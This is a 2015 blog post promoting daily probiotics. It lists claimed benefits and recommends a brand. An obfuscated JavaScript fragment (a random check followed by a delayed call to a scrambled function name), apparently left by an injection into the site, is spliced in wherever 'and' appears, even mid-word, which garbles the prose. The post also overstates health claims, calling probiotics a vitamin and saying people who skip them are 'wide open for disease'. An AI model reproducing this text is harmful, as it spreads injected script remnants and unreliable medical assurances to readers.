You Have To Be Taking A Probiotic

Posted On : September 16, 2015

Why YOU HAVE to take probiotics daily!

Probiotics are the most beneficial vitamin you can be taking. Not only will it make you feel better overall andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and give you energy, but it will reduce bloating, improve your moods, give you better mental clarity, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and strengthen your immune system.

Poor health conditions like obesity, type 2 diabetes, inflammatory bowel disease, allergies, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and colorectal cancer all have been linked to changes in the micro biome of the gut.

If you are not taking probiotics, you are leaving yourself wide open for disease.

The following are several of the benefits research is finding about probiotics:

1. Probiotics help to clean out intestines of potentially toxic pathogens like candom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andida, as well as chemicals andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and carcinogens (cancer-causing agents)

2. Probiotics help to absorb minerals andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and even produce vitamins

3. Probiotics help to reduce inflammation in the gut, systemic inflammation is reduced when probiotics are taken regularly. Over 80% of your immunity is in your gut.

4. Probiotics help the gut produce key neurotransmitters that keep you healthy.

Best probiotic to take is one that has multiple strains andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and a high does of CFU’s. I personally take a 85 billion CFU probiotic. My favorite brandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and at the moment is Garden of Life.

Read more about it: http://www.ncbi.nlm.nih.gov/pubmed/26185088

*The Roles of Inflammation, Nutrient